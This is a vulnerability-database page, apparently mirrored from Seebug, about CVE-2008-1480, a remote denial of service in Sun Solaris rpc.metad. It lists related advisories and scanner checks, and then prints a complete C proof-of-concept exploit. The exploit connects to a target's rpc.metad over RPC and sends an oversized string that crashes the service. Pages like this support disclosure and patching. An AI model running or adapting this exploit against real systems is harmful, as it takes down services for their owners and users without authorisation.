Lucene search
K

Sun Solaris rpc.metad远程拒绝服务漏洞

🗓️ 12 Jan 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

Sun Solaris rpc.metad Remote Denial of Service Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-1480
14 Mar 200800:00
circl
CVE
CVE-2008-1480
24 Mar 200822:00
cve
Cvelist
CVE-2008-1480
24 Mar 200822:00
cvelist
EUVD
EUVD-2008-1482
7 Oct 202500:30
euvd
NVD
CVE-2008-1480
24 Mar 200822:44
nvd
OpenVAS
Solaris Update for usr/sbin/rpc.metad 138574-01
3 Jun 200900:00
openvas
OpenVAS
Solaris Update for usr/sbin/rpc.metad 138574-01
3 Jun 200900:00
openvas
Prion
Cross site request forgery (csrf)
24 Mar 200822:44
prion
Tenable Nessus
Solaris 10 (sparc) : 138632-03
19 Jan 200900:00
nessus
Tenable Nessus
Solaris 10 (x86) : 138882-02
19 Jan 200900:00
nessus
Rows per page

                                                /*##########################################################*/
/*## SunOS 5.10 Sun Cluster rpc.metad DoS PoC              #*/
/*## causes DoS on rpc.metad                     	   #*/
/*## (C) 2008 - Kingcope                                   #*/
/*##########################################################*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

extern int optarg;

#define METAD_PROG 100229
#define METAD_VERS 2
#define METAD_FUNC 6

typedef struct{char *string;}req_t;

bool_t xdr_req(XDR *xdrs,req_t *obj){
    if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
    return(TRUE);
}

main(int argc,char **argv){
    char buffer[30000],address[4],*b,*cmd;
    int i,c,n,flag=1,vers=0,port=0,sck;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;

    printf("rpc.metad for solaris 10\n\n");

    if(argc<2){
        printf("usage: %s address\n",argv[0]);
        exit(-1);
    }

    printf("Using version %d and request no. %d!!\n", METAD_VERS, METAD_FUNC);

    printf("timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
    fflush(stdout);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }

    sck=RPC_ANYSOCK;
    if(!(cl=clnttcp_create(&adr,METAD_PROG,METAD_VERS,&sck,0,0))){
        clnt_pcreateerror("error");exit(-1);
    }
    cl->cl_auth=authunix_create("localhost",0,0,0,NULL);

    memset(buffer, 'A', sizeof(buffer)); //buffer can also be small,this is not a bufover
    buffer[3000]=0;

    req.string=buffer;

    stat=clnt_call(cl,METAD_FUNC,xdr_req,&req,xdr_void,NULL,tm);
    if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");
    printf("sent!\n"); /* if(!flag) exit(0);*/

    }
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation